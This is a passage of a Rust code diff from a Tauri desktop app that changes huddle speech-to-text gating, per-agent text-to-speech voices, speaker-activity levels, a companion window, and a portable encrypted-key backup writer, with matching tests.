tts_cancel: Option<&AtomicBool>, tts_stopped_at: &mut Option, ptt_active: Option<&Arc>, ) { @@ -433,38 +426,16 @@ fn process_16k_samples( let tts_playing = tts_active.load(Ordering::Acquire); - // While TTS is playing: skip accumulation (echo prevention). + // While TTS is playing, discard local mic input. The native TTS output + // is not available as an echo-cancellation reference to this worker, so + // VAD cannot reliably tell speaker feedback from a human interruption. + // Push-to-talk and remote participant audio provide the intentional + // cancellation paths instead. if tts_playing { - if ptt_active.is_some() { - // PTT mode — PTT press handles TTS cancellation directly - // (via the global shortcut handler). Just skip accumulation. - *in_speech = false; - *barge_in_frames = 0; - speech_buf.clear(); - *silence_frames = 0; - continue; - } - - // VAD mode — barge-in detection. - // Without acoustic echo cancellation, this requires a longer - // debounce (BARGE_IN_DEBOUNCE_FRAMES ≈ 320 ms) to filter - // speaker-to-mic feedback. - if is_speech { - *barge_in_frames += 1; - if *barge_in_frames >= BARGE_IN_DEBOUNCE_FRAMES { - // Real speech detected during TTS — trigger barge-in. - if let Some(cancel) = tts_cancel { - cancel.store(true, Ordering::Release); - } - *barge_in_frames = 0; - } - } else { - *barge_in_frames = 0; - } - // Don't accumulate speech during TTS (echo prevention). *in_speech = false; speech_buf.clear(); *silence_frames = 0; + *voiced_frames = 0; continue; } @@ -477,28 +448,30 @@ fn process_16k_samples( } speech_buf.clear(); *silence_frames = 0; - *barge_in_frames = 0; + *voiced_frames = 0; continue; } else { // Cooldown expired — clear the timer and reset all segment state. *tts_stopped_at = None; *in_speech = false; *silence_frames = 0; - *barge_in_frames = 0; + *voiced_frames = 0; } } if is_speech { *silence_frames = 0; *in_speech = true; + *voiced_frames += 1; speech_buf.extend_from_slice(&frame); // OOM guard: flush and reset if the buffer exceeds 30 s of audio. if speech_buf.len() >= MAX_SPEECH_SAMPLES { - flush_to_stt(speech_buf, recognizer, text_tx); + flush_to_stt(speech_buf, *voiced_frames, recognizer, text_tx); speech_buf.clear(); *silence_frames = 0; *in_speech = false; + *voiced_frames = 0; } } else if *in_speech { // Still accumulate during brief silence gaps. @@ -511,10 +484,11 @@ fn process_16k_samples( // threshold so each natural pause becomes a separate message. if ptt_active.is_none() && *silence_frames >= SILENCE_FLUSH_FRAMES { // End of utterance — transcribe. - flush_to_stt(speech_buf, recognizer, text_tx); + flush_to_stt(speech_buf, *voiced_frames, recognizer, text_tx); speech_buf.clear(); *silence_frames = 0; *in_speech = false; + *voiced_frames = 0; } } // If not in speech and not accumulating, just discard the frame. @@ -527,10 +501,11 @@ fn process_16k_samples( /// The tokio channel's `blocking_send` is safe to call from sync contexts. fn flush_to_stt( speech_buf: &[f32], + voiced_frames: usize, recognizer: &sherpa_onnx::OfflineRecognizer, text_tx: &tokio_mpsc::Sender, ) { - if speech_buf.is_empty() { + if speech_buf.is_empty() || !has_enough_voiced_audio(voiced_frames) { return; } @@ -550,6 +525,10 @@ fn flush_to_stt( } } +fn has_enough_voiced_audio(voiced_frames: usize) -> bool { + voiced_frames >= MIN_VOICED_FRAMES +} + /// Convert raw bytes (f32 LE) to f32 samples. /// Caller should ensure `bytes.len() % 4 == 0`; extra bytes are silently truncated. /// @@ -565,3 +544,15 @@ fn bytes_to_f32(bytes: &[u8]) -> Vec { // drain_until_shutdown lives in super (huddle/mod.rs) — shared with tts.rs. use super::drain_until_shutdown; + +#[cfg(test)] +mod tests { + use super::{has_enough_voiced_audio, MIN_VOICED_FRAMES}; + + #[test] + fn short_vad_blips_do_not_reach_the_recognizer() { + assert!(!has_enough_voiced_audio(1)); + assert!(!has_enough_voiced_audio(MIN_VOICED_FRAMES - 1)); + assert!(has_enough_voiced_audio(MIN_VOICED_FRAMES)); + } +} diff --git a/desktop/src-tauri/src/huddle/tts.rs b/desktop/src-tauri/src/huddle/tts.rs index c03589f9fe..1901bb3d2e 100644 --- a/desktop/src-tauri/src/huddle/tts.rs +++ b/desktop/src-tauri/src/huddle/tts.rs @@ -35,7 +35,7 @@ //! can gate microphone input while the agent is speaking. use std::{ - collections::VecDeque, + collections::{HashMap, VecDeque}, num::NonZero, path::PathBuf, sync::{ @@ -44,7 +44,7 @@ use std::{ Arc, Mutex, MutexGuard, PoisonError, }, thread, - time::Duration, + time::{Duration, Instant}, }; use super::pocket::{ @@ -61,6 +61,9 @@ use startup::await_worker_startup; #[path = "tts_audio.rs"] mod audio; use audio::*; +#[path = "tts_activity.rs"] +mod activity; +use activity::*; // ── Constants ───────────────────────────────────────────────────────────────── @@ -77,6 +80,7 @@ const RECV_TIMEOUT: Duration = Duration::from_millis(100); /// ~5 ms — so playing audio dies ~15 ms after the flag is set, even while /// the worker is blocked inside `synth_chunk`. const MONITOR_TICK: Duration = Duration::from_millis(10); +const SPEAKER_ACTIVITY_TICK: Duration = Duration::from_millis(50); const AUDIO_PRIME_TIMEOUT: Duration = Duration::from_secs(2); /// Pocket TTS is a one-step consistency model, not diffusion. Kept for API compat. @@ -167,10 +171,12 @@ impl TtsPipeline { cancel: Arc, voice: &str, output_device: Option, + activity_app: Option, ) -> Result { let (text_tx, text_rx) = mpsc::sync_channel::(TEXT_QUEUE_DEPTH); let shutdown = Arc::new(AtomicBool::new(false)); - // cancel is passed in from HuddleState.tts_cancel — shared with STT for barge-in. + // cancel is passed in from HuddleState.tts_cancel — shared with remote + // participant interruption and the push-to-talk shortcut. let shutdown_worker = Arc::clone(&shutdown); let cancel_worker = Arc::clone(&cancel); @@ -203,6 +209,7 @@ impl TtsPipeline { (cancel_worker, worker_voice_cancel), ), output_device, + activity_app, startup_tx, ) }) @@ -231,6 +238,8 @@ impl TtsPipeline { .try_send(QueuedText { generation: self.voice_generation.load(Ordering::Acquire), route_id: 0, + speaker_pubkey: None, + voice_reference: None, text, }) .map_err(|e| { @@ -309,6 +318,7 @@ fn tts_worker( text_rx: mpsc::Receiver, control_state: WorkerControlState, output_device: Option, + activity_app: Option, startup_tx: mpsc::SyncSender>, ) { let (selected_voice, voice_generation, voice_change_ack) = voice_state; @@ -351,6 +361,7 @@ fn tts_worker( )); return; } + let mut style_cache = HashMap::from([(voice_name.clone(), style.clone())]); // ── 2b. Warmup inference ───────────────────────────────────────────────── // The first ONNX inference on any session is significantly slower than @@ -454,6 +465,7 @@ fn tts_worker( // `cancel == false` and no-ops. The lock is uncontended except during an // actual barge-in, so the hot path is unaffected. let player_ops = Arc::new(Mutex::new(())); + let activity_frames = Arc::new(Mutex::new(VecDeque::::new())); let monitor_stop = Arc::new(AtomicBool::new(false)); let monitor = { let player = Arc::clone(&player); @@ -462,9 +474,12 @@ fn tts_worker( let tts_active = Arc::clone(&tts_active); let stop = Arc::clone(&monitor_stop); let player_ops = Arc::clone(&player_ops); + let activity_frames = Arc::clone(&activity_frames); thread::Builder::new() .name("tts-barge-in-monitor".into()) .spawn(move || { + let mut last_activity_pubkey: Option = None; + let mut next_activity_tick = Instant::now(); while !stop.load(Ordering::Acquire) { if cancel.load(Ordering::Acquire) || voice_cancel.load(Ordering::Acquire) { let _ops = lock_player_ops(&player_ops); @@ -481,6 +496,46 @@ fn tts_worker( tts_active.store(false, Ordering::Release); } } + if let Some(ref app) = activity_app { + if tts_active.load(Ordering::Acquire) { + let now = Instant::now(); + if now >= next_activity_tick { + let frame = activity_frames + .lock() + .unwrap_or_else(|error| error.into_inner()) + .pop_front(); + if let Some(frame) = frame { + use tauri::Emitter; + let _ = app.emit( + "huddle-tts-speaker-level", + TtsSpeakerActivityPayload { + pubkey: Some(frame.pubkey.clone()), + level: frame.level, + }, + ); + last_activity_pubkey = Some(frame.pubkey); + } + next_activity_tick = now + SPEAKER_ACTIVITY_TICK; + } + } else { + let had_activity = last_activity_pubkey.take().is_some(); + activity_frames + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clear(); + if had_activity { + use tauri::Emitter; + let _ = app.emit( + "huddle-tts-speaker-level", + TtsSpeakerActivityPayload { + pubkey: None, + level: 0.0, + }, + ); + } + next_activity_tick = Instant::now(); + } + } thread::sleep(MONITOR_TICK); } }) @@ -507,7 +562,9 @@ fn tts_worker( let mut first_append = true; let mut last_route_id = 0; let mut deferred_text = VecDeque::new(); - let append_audio = |prepared: PreparedModelAudio, route_id: u64| { + let append_audio = |prepared: PreparedModelAudio, + route_id: u64, + speaker_pubkey: Option<&str>| { let _ops = lock_player_ops(&player_ops); if cancel.load(Ordering::Acquire) || voice_cancel.load(Ordering::Acquire) @@ -525,6 +582,16 @@ fn tts_worker( ); return false; } + if let Some(pubkey) = speaker_pubkey { + activity_frames + .lock() + .unwrap_or_else(|error| error.into_inner()) + .extend(build_tts_speaker_activity_frames( + &prepared.buffer, + pubkey, + SAMPLE_RATE as usize, + )); + } player.append(SamplesBuffer::new(channels, rate, prepared.buffer)); eprintln!( "buzz-desktop: tts stage=player status=append_accepted route_id={route_id} chunk_index={} sample_count={}", @@ -555,14 +622,19 @@ fn tts_worker( continue; } - // Voice changes cancel the old utterance/queue and are observed here, - // before receiving subsequent text. A bad bundled asset falls back to - // Mary without discarding the already-warmed Pocket engine. - let voice_ready = - reconcile_selected_voice(&model_dir, &selected_voice, &mut voice_name, &mut style); - acknowledge_voice_change(&voice_change_ack, &voice_cancel); - if !voice_ready { - continue; + // A global Settings voice change cancels the old utterance and is + // acknowledged before receiving subsequent text. Per-agent voice + // changes are carried by each queue item and never drain other agents. + if has_pending_voice_change(&voice_change_ack) { + let voice_ready = + reconcile_selected_voice(&model_dir, &selected_voice, &mut voice_name, &mut style); + if voice_ready { + style_cache.insert(voice_name.clone(), style.clone()); + } + acknowledge_voice_change(&voice_change_ack, &voice_cancel); + if !voice_ready { + continue; + } } let mut queued_text = Some(match deferred_text.pop_front() { @@ -614,15 +686,28 @@ fn tts_worker( ); continue; } + let requested_voice = queued_text.voice_reference.unwrap_or_else(|| { + selected_voice + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone() + }); let raw_text = queued_text.text; + let speaker_pubkey = queued_text.speaker_pubkey; let route_id = queued_text.route_id; eprintln!("buzz-desktop: tts stage=synthesis status=started route_id={route_id}"); - // The selected voice can change while this worker is blocked in - // recv_timeout. Reconcile again after receipt so the first message - // queued after an unpublished pipeline is installed cannot use the - // voice captured when construction began. - if !reconcile_selected_voice(&model_dir, &selected_voice, &mut voice_name, &mut style) { + // The selected per-agent voice travels with the queue item, preserving + // message order while allowing one warmed Pocket engine to alternate + // between cached reference styles. + if !reconcile_queued_voice( + &model_dir, + &requested_voice, + &selected_voice, + &mut voice_name, + &mut style, + &mut style_cache, + ) { eprintln!( "buzz-desktop: tts stage=synthesis status=failed reason=voice_unavailable route_id={route_id}" ); @@ -761,7 +846,7 @@ fn tts_worker( silence_buf_len, player.empty(), ) { - if !append_audio(prepared, route_id) { + if !append_audio(prepared, route_id, speaker_pubkey.as_deref()) { first_append = true; synthesis_outcome = "cancelled"; break 'playback_chunks; @@ -787,7 +872,7 @@ fn tts_worker( if let Some(prepared) = playback_audio.finish(&mut first_append, silence_buf_len, player.empty()) { - if !append_audio(prepared, route_id) { + if !append_audio(prepared, route_id, speaker_pubkey.as_deref()) { first_append = true; synthesis_outcome = "cancelled"; break 'playback_chunks; diff --git a/desktop/src-tauri/src/huddle/tts_activity.rs b/desktop/src-tauri/src/huddle/tts_activity.rs new file mode 100644 index 0000000000..8e69609186 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_activity.rs @@ -0,0 +1,45 @@ +//! Agent TTS activity envelope shared with the participant film strip. + +#[derive(Clone, serde::Serialize)] +pub(super) struct TtsSpeakerActivityPayload { + pub(super) pubkey: Option, + pub(super) level: f32, +} + +pub(super) struct TtsSpeakerActivityFrame { + pub(super) pubkey: String, + pub(super) level: f32, +} + +/// Build a 50 ms RMS envelope from the exact audio queued for playback. +/// The UI consumes these frames at the same cadence as remote speaker levels, +/// so an agent uses the normal participant ring rather than a generic pulse. +pub(super) fn build_tts_speaker_activity_frames( + samples: &[f32], + pubkey: &str, + sample_rate: usize, +) -> Vec { + let samples_per_frame = (sample_rate / 20).max(1); + samples + .chunks(samples_per_frame) + .map(|frame| { + let mean_square = frame + .iter() + .map(|sample| f64::from(*sample) * f64::from(*sample)) + .sum::() + / frame.len().max(1) as f64; + let rms = mean_square.sqrt() as f32; + let level = if rms <= 0.000_5 { + 0.0 + } else { + // Map roughly -60 dB..-12 dB into the same normalized range + // used by remote Opus speaker levels. + ((20.0 * rms.log10() + 60.0) / 48.0).clamp(0.12, 1.0) + }; + TtsSpeakerActivityFrame { + pubkey: pubkey.to_string(), + level, + } + }) + .collect() +} diff --git a/desktop/src-tauri/src/huddle/tts_settings.rs b/desktop/src-tauri/src/huddle/tts_settings.rs index 1068027aa8..1f6e8d25c2 100644 --- a/desktop/src-tauri/src/huddle/tts_settings.rs +++ b/desktop/src-tauri/src/huddle/tts_settings.rs @@ -175,7 +175,7 @@ pub fn resolve_voice_for_backend( resolve_voice_for_backend_in_registry(preferences, backend, &bundled_voice_registry()) } -fn resolve_voice_for_backend_in_registry( +pub(crate) fn resolve_voice_for_backend_in_registry( preferences: &[String], backend: &str, registry: &[VoiceRegistryEntry], @@ -624,6 +624,7 @@ pub async fn preview_pocket_voice( cancel, &voice_name, output_device, + None, )?; pipeline.speak("Hello! This is how I’ll read agent responses.".to_string())?; let started = std::time::Instant::now(); diff --git a/desktop/src-tauri/src/huddle/tts_tests.rs b/desktop/src-tauri/src/huddle/tts_tests.rs index 1908b096b1..1dee4de90c 100644 --- a/desktop/src-tauri/src/huddle/tts_tests.rs +++ b/desktop/src-tauri/src/huddle/tts_tests.rs @@ -32,6 +32,19 @@ mod token_split; // - Counters reset on the 500ms window (Instant-based in production, // on_tick() in tests — logically equivalent). // - Uses Acquire for tts_active reads, Release for tts_cancel writes. + +#[test] +fn tts_speaker_activity_uses_the_playback_waveform() { + let mut samples = vec![0.0; 1_200]; + samples.extend(vec![0.25; 1_200]); + + let frames = build_tts_speaker_activity_frames(&samples, "agent-pubkey", 24_000); + + assert_eq!(frames.len(), 2); + assert_eq!(frames[0].pubkey, "agent-pubkey"); + assert_eq!(frames[0].level, 0.0); + assert!(frames[1].level > 0.5); +} // use crate::huddle::relay_api::REMOTE_SPEECH_THRESHOLD; @@ -287,24 +300,6 @@ fn cancel_already_true_is_harmless() { ); } -// ── Regression: local-only interrupt still works ────────────────────────── - -/// The existing local barge-in path (STT detects speech → sets tts_cancel) -/// must continue to work independently of remote frame counting. -#[test] -fn local_barge_in_still_works_without_remote_frames() { - let _tts_active = AtomicBool::new(true); - let tts_cancel = AtomicBool::new(false); - - // Simulate local STT barge-in (stt.rs after BARGE_IN_DEBOUNCE_FRAMES). - tts_cancel.store(true, Ordering::Release); - - assert!( - tts_cancel.load(Ordering::Acquire), - "local barge-in should set tts_cancel", - ); -} - // ── Cancel consumption tests (TTS worker side) ──────────────────────────── /// TTS worker correctly resets both tts_cancel and tts_active after cancel. diff --git a/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs b/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs index 45662c9921..044b1acf1e 100644 --- a/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs +++ b/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs @@ -167,6 +167,8 @@ fn an_in_hand_post_change_message_survives_cancellation() { .send(QueuedText { generation: voice_generation.load(Ordering::Acquire), route_id: 1, + speaker_pubkey: None, + voice_reference: None, text: "new message".to_string(), }) .expect("new message"); @@ -178,11 +180,15 @@ fn an_in_hand_post_change_message_survives_cancellation() { QueuedText { generation: 1, route_id: 2, + speaker_pubkey: None, + voice_reference: None, text: "old message".to_string(), }, QueuedText { generation: voice_generation.load(Ordering::Acquire), route_id: 3, + speaker_pubkey: None, + voice_reference: None, text: "later new message".to_string(), }, ]); @@ -239,6 +245,8 @@ fn superseding_voice_change_removes_earlier_deferred_messages() { deferred_text.push_back(QueuedText { generation: voice_generation.load(Ordering::Acquire), route_id: 4, + speaker_pubkey: None, + voice_reference: None, text: "message for Eve".to_string(), }); assert!(handle_cancel_or_shutdown( @@ -285,6 +293,8 @@ fn barge_in_clears_deferred_voice_change_messages() { let mut deferred_text = VecDeque::from([QueuedText { generation: 2, route_id: 5, + speaker_pubkey: None, + voice_reference: None, text: "deferred message".to_string(), }]); let mut current_text = None; @@ -326,6 +336,8 @@ fn barge_in_during_a_voice_change_clears_post_change_messages() { deferred_text.push_back(QueuedText { generation: voice_generation.load(Ordering::Acquire), route_id: 6, + speaker_pubkey: None, + voice_reference: None, text: "post-change message".to_string(), }); barge_in.store(true, Ordering::Release); @@ -377,9 +389,15 @@ fn a_sender_captured_before_voice_change_is_stale_even_if_it_sends_after_drain() None, )); old_sender - .send(7, "late old message".to_string()) + .send( + 7, + "agent".to_string(), + "reference_sample".to_string(), + "late old message".to_string(), + ) .expect("late send"); let late = text_rx.recv().expect("late queued text"); assert!(late.generation < voice_generation.load(Ordering::Acquire)); + assert_eq!(late.voice_reference.as_deref(), Some("reference_sample")); } diff --git a/desktop/src-tauri/src/huddle/tts_voice_transition.rs b/desktop/src-tauri/src/huddle/tts_voice_transition.rs index 81b33672d3..3a65553756 100644 --- a/desktop/src-tauri/src/huddle/tts_voice_transition.rs +++ b/desktop/src-tauri/src/huddle/tts_voice_transition.rs @@ -1,5 +1,5 @@ use std::{ - collections::VecDeque, + collections::{HashMap, VecDeque}, path::Path, sync::{ atomic::{AtomicBool, AtomicU64, Ordering}, @@ -30,6 +30,8 @@ pub(super) type CancelSignals<'a> = (&'a AtomicBool, &'a AtomicBool); pub(super) struct QueuedText { pub(super) generation: u64, pub(super) route_id: u64, + pub(super) speaker_pubkey: Option, + pub(super) voice_reference: Option, pub(super) text: String, } @@ -40,17 +42,32 @@ pub(crate) struct TtsTextSender { } impl TtsTextSender { - pub(crate) fn send(&self, route_id: u64, text: String) -> Result<(), String> { + pub(crate) fn send( + &self, + route_id: u64, + speaker_pubkey: String, + voice_reference: String, + text: String, + ) -> Result<(), String> { self.text_tx .send(QueuedText { generation: self.generation, route_id, + speaker_pubkey: Some(speaker_pubkey), + voice_reference: Some(voice_reference), text, }) .map_err(|error| error.to_string()) } } +pub(super) fn has_pending_voice_change(voice_change_ack: &VoiceChangeAck) -> bool { + voice_change_ack + .lock() + .unwrap_or_else(|error| error.into_inner()) + .is_some() +} + pub(super) fn begin_voice_change( selected_voice: &Mutex, voice_generation: &AtomicU64, @@ -151,6 +168,43 @@ pub(super) fn reconcile_selected_voice( } } +pub(super) fn reconcile_queued_voice( + model_dir: &Path, + requested_voice: &str, + selected_voice: &Mutex, + voice_name: &mut String, + style: &mut VoiceStyle, + style_cache: &mut HashMap, +) -> bool { + if requested_voice == voice_name.as_str() { + return true; + } + if let Some(cached) = style_cache.get(requested_voice) { + *style = cached.clone(); + *voice_name = requested_voice.to_owned(); + return true; + } + + match load_voice_style(&voice_path(model_dir, requested_voice)) { + Ok(requested_style) => { + style_cache.insert(requested_voice.to_owned(), requested_style.clone()); + *style = requested_style; + *voice_name = requested_voice.to_owned(); + true + } + Err(_) => { + eprintln!( + "buzz-desktop: tts stage=agent_voice_switch status=fallback reason=voice_style" + ); + let ready = reconcile_selected_voice(model_dir, selected_voice, voice_name, style); + if ready { + style_cache.insert(voice_name.clone(), style.clone()); + } + ready + } + } +} + pub(super) fn voice_path(model_dir: &Path, voice: &str) -> std::path::PathBuf { let path = Path::new(voice); if path.is_absolute() { diff --git a/desktop/src-tauri/src/huddle/window.rs b/desktop/src-tauri/src/huddle/window.rs new file mode 100644 index 0000000000..cb3cfc8bfd --- /dev/null +++ b/desktop/src-tauri/src/huddle/window.rs @@ -0,0 +1,67 @@ +//! Native companion-window lifecycle for an active Huddle. + +use tauri::{Emitter, Manager, State, WebviewUrl, WebviewWindowBuilder}; + +use crate::app_state::AppState; + +/// Close the companion belonging to an ended huddle. The native lifecycle is +/// authoritative here because a webview can be suspended while it is closing. +pub(super) fn close_huddle_window(app: &tauri::AppHandle, ephemeral_channel_id: &str) { + if ephemeral_channel_id.is_empty() { + return; + } + let label = format!("huddle-{ephemeral_channel_id}"); + if let Some(window) = app.get_webview_window(&label) { + if let Err(error) = window.close() { + eprintln!("buzz-desktop: failed to close huddle companion: {error}"); + } + } +} + +/// Close the active companion without leaving the huddle. The main window uses +/// this to restore its drawer presentation while retaining the audio session. +#[tauri::command] +pub fn close_huddle_companion( + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + let ephemeral_channel_id = state + .huddle()? + .ephemeral_channel_id + .clone() + .ok_or("no active huddle")?; + close_huddle_window(&app, &ephemeral_channel_id); + app.emit("huddle-companion-returned", ()) + .map_err(|error| error.to_string())?; + Ok(()) +} + +/// Open the active huddle's ephemeral channel in a focused companion window. +/// The main window remains the owner of microphone capture; closing this room +/// must never leave the shared huddle session. +#[tauri::command] +pub async fn open_huddle_window( + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { + let ephemeral_channel_id = state + .huddle()? + .ephemeral_channel_id + .clone() + .ok_or("no active huddle")?; + let label = format!("huddle-{ephemeral_channel_id}"); + + if let Some(window) = app.get_webview_window(&label) { + window.show().map_err(|error| error.to_string())?; + window.set_focus().map_err(|error| error.to_string())?; + return Ok(()); + } + + WebviewWindowBuilder::new(&app, label, WebviewUrl::App("index.html".into())) + .title("Huddle") + .inner_size(960.0, 720.0) + .min_inner_size(720.0, 520.0) + .build() + .map_err(|error| error.to_string())?; + Ok(()) +} diff --git a/desktop/src-tauri/src/initial_window.rs b/desktop/src-tauri/src/initial_window.rs index 6b9f294e73..b124551512 100644 --- a/desktop/src-tauri/src/initial_window.rs +++ b/desktop/src-tauri/src/initial_window.rs @@ -1,6 +1,4 @@ -//! First-reveal choreography for the main window: keep it hidden (with an -//! opaque backing on macOS) until the initial render is ready and the -//! window-state plugin has settled restored geometry, then show and focus. +//! First-frame window reveal helpers. #[cfg(target_os = "macos")] pub(crate) const INITIAL_RENDER_READY_EVENT: &str = "initial-render-ready"; @@ -46,10 +44,7 @@ pub(crate) async fn wait_for_stable_initial_window_geometry( for _ in 0..MAX_POLLS { // Accept whatever geometry the window-state plugin restores — maximized // or a normal saved size. macOS applies the restore asynchronously, so - // we only need consecutive identical outer bounds to know it settled. - // Gating on `is_maximized()` here would leave `bounds` permanently - // `None` for restored non-maximized windows and stall the reveal until - // the poll timeout. + // consecutive identical outer bounds are enough to know it settled. let bounds = match (window.outer_position(), window.outer_size()) { (Ok(position), Ok(size)) => Some((position.x, position.y, size.width, size.height)), _ => None, diff --git a/desktop/src-tauri/src/key_backup.rs b/desktop/src-tauri/src/key_backup.rs index f97bf95a67..e8fcc8abe4 100644 --- a/desktop/src-tauri/src/key_backup.rs +++ b/desktop/src-tauri/src/key_backup.rs @@ -133,9 +133,14 @@ pub fn backup_file_path(data_dir: &std::path::Path) -> std::path::PathBuf { data_dir.join(BACKUP_FILE_NAME) } -/// Atomically write `ncryptsec` to `path` with owner-only permissions, then -/// reread and byte-compare. Same crash-safety pattern as +/// Atomically write the app-managed `ncryptsec` backup with owner-only +/// permissions, then reread and byte-compare. Same crash-safety pattern as /// `app_state::save_key_file`. +/// +/// Portable exports selected through a native save panel must use +/// [`write_portable_backup_file`] instead: sandboxed macOS grants access to the +/// selected path, but not to the sibling temporary file this writer needs. +#[allow(dead_code)] // Retained for durable app-managed backups; portable exports must not use it. pub fn write_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> { use atomic_write_file::AtomicWriteFile; use std::io::Write; @@ -155,6 +160,56 @@ pub fn write_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), file.commit() .map_err(|e| format!("commit backup file: {e}"))?; + verify_backup_file(path, ncryptsec) +} + +/// Write a user-selected portable backup without creating a sibling file. +/// +/// Native macOS save panels authorize the exact selected path in protected +/// folders such as Downloads, not an atomic writer's hidden sibling. Opening +/// with `create_new` uses only that authorized path and also guarantees an +/// existing backup is never truncated: users must choose a new filename when +/// the destination already exists. After writing, the file is synced and its +/// persisted bytes are reread before success is reported. +pub fn write_portable_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> { + use std::io::Write; + + let mut options = std::fs::OpenOptions::new(); + options.write(true).create_new(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + options.mode(0o600); + } + + let mut file = options.open(path).map_err(|error| { + if error.kind() == std::io::ErrorKind::AlreadyExists { + "backup file already exists; choose a new filename so the existing backup stays safe" + .to_string() + } else { + format!("create portable backup file: {error}") + } + })?; + + let write_result = file + .write_all(ncryptsec.as_bytes()) + .map_err(|e| format!("write portable backup file: {e}")) + .and_then(|()| { + file.sync_all() + .map_err(|e| format!("sync portable backup file: {e}")) + }); + drop(file); + + let result = write_result.and_then(|()| verify_backup_file(path, ncryptsec)); + if result.is_err() { + // This function created the destination exclusively, so cleanup cannot + // clobber a backup that existed before the save attempt. + let _ = std::fs::remove_file(path); + } + result +} + +fn verify_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> { // Reread and byte-compare: only report success for bytes that are // actually on disk. let on_disk = std::fs::read_to_string(path).map_err(|e| format!("reread backup file: {e}"))?; diff --git a/desktop/src-tauri/src/key_backup_tests.rs b/desktop/src-tauri/src/key_backup_tests.rs index b9713201e1..ff9367641a 100644 --- a/desktop/src-tauri/src/key_backup_tests.rs +++ b/desktop/src-tauri/src/key_backup_tests.rs @@ -160,6 +160,45 @@ fn write_backup_file_overwrites_atomically() { assert_eq!(entries, vec![std::ffi::OsString::from(BACKUP_FILE_NAME)]); } +#[test] +fn write_portable_backup_file_persists_0600_without_a_sibling() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("portable.ncryptsec"); + write_portable_backup_file(&path, SPEC_NCRYPTSEC).unwrap(); + + assert_eq!(std::fs::read_to_string(&path).unwrap(), SPEC_NCRYPTSEC); + let entries: Vec<_> = std::fs::read_dir(dir.path()) + .unwrap() + .map(|entry| entry.unwrap().file_name()) + .collect(); + assert_eq!( + entries, + vec![std::ffi::OsString::from("portable.ncryptsec")] + ); + + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(&path).unwrap().permissions().mode(); + assert_eq!(mode & 0o777, 0o600, "portable backup must be owner-only"); + } +} + +#[test] +fn write_portable_backup_file_preserves_an_existing_backup() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("portable.ncryptsec"); + std::fs::write(&path, "ncryptsec1existing").unwrap(); + + let error = write_portable_backup_file(&path, SPEC_NCRYPTSEC).unwrap_err(); + + assert!(error.contains("already exists"), "{error}"); + assert_eq!( + std::fs::read_to_string(&path).unwrap(), + "ncryptsec1existing" + ); +} + #[test] fn delete_backup_file_is_idempotent() { let dir = tempfile::tempdir().unwrap(); @@ -211,12 +250,16 @@ fn generated_passphrase_respects_word_count_and_separator() { #[test] fn generated_passphrase_clamps_word_count() { + // Use a separator that cannot appear in the EFF wordlist so a generated + // word such as "yo-yo" cannot be mistaken for two words. + const SEPARATOR: &str = "|"; + // Below the floor: clamped up to MIN_PASSPHRASE_WORDS, never shorter. - let phrase = generate_passphrase(1, "-").unwrap(); - assert_eq!(phrase.split('-').count(), MIN_PASSPHRASE_WORDS); + let phrase = generate_passphrase(1, SEPARATOR).unwrap(); + assert_eq!(phrase.split(SEPARATOR).count(), MIN_PASSPHRASE_WORDS); // Above the ceiling: clamped down to MAX_PASSPHRASE_WORDS. - let phrase = generate_passphrase(50, "-").unwrap(); - assert_eq!(phrase.split('-').count(), MAX_PASSPHRASE_WORDS); + let phrase = generate_passphrase(50, SEPARATOR).unwrap(); + assert_eq!(phrase.split(SEPARATOR).count(), MAX_PASSPHRASE_WORDS); } #[test] diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs index 5afda46dbc..0e5b38e8fe 100644 --- a/desktop/src-tauri/src/lib.rs +++ b/desktop/src-tauri/src/lib.rs @@ -1,4 +1,5 @@ #![recursion_limit = "256"] // Deep Tauri command futures exceed the default layout query depth. +mod app_menu; mod app_state; mod archive; mod builderlab; @@ -33,6 +34,9 @@ mod reset; mod secret_store; mod shutdown; mod templates; +mod terminal_runtime; +#[cfg_attr(not(test), allow(dead_code))] +mod terminal_transport; #[cfg(target_os = "macos")] mod tray_menu; mod util; @@ -50,10 +54,11 @@ use huddle::audio_output::{ }; use huddle::reconnect::reconnect_huddle_audio; use huddle::{ - add_agent_to_huddle, check_pipeline_hotstart, confirm_huddle_active, download_voice_models, - end_huddle, get_huddle_agent_pubkeys, get_huddle_state, get_model_status, get_voice_input_mode, - join_huddle, leave_huddle, push_audio_pcm, set_huddle_transcription_enabled, set_tts_enabled, - set_voice_input_mode, speak_agent_message, start_huddle, start_stt_pipeline, + add_agent_to_huddle, check_pipeline_hotstart, close_huddle_companion, confirm_huddle_active, + download_voice_models, end_huddle, get_huddle_agent_pubkeys, get_huddle_state, + get_model_status, get_voice_input_mode, join_huddle, leave_huddle, open_huddle_window, + push_audio_pcm, set_huddle_transcription_enabled, set_tts_enabled, set_voice_input_mode, + speak_agent_message, start_huddle, start_stt_pipeline, HuddlePhase, }; use initial_window::*; use managed_agents::{ @@ -68,9 +73,9 @@ use mesh_llm_stubs::*; use shutdown::{hard_exit_after_mesh_shutdown, relaunch_after_mesh_shutdown}; use shutdown::{is_restart_request, shut_down_app}; use std::sync::{atomic::AtomicBool, atomic::Ordering, Arc}; -use tauri::{Emitter, Manager, RunEvent}; #[cfg(target_os = "macos")] -use tauri::{Listener, WindowEvent}; +use tauri::Listener; +use tauri::{Emitter, Manager, RunEvent, WindowEvent}; use tauri_plugin_window_state::StateFlags; #[cfg(target_os = "macos")] use tray_menu::show_main_window; @@ -104,7 +109,6 @@ pub fn run() { eprintln!("buzz-mesh: failed to build big-stack tokio 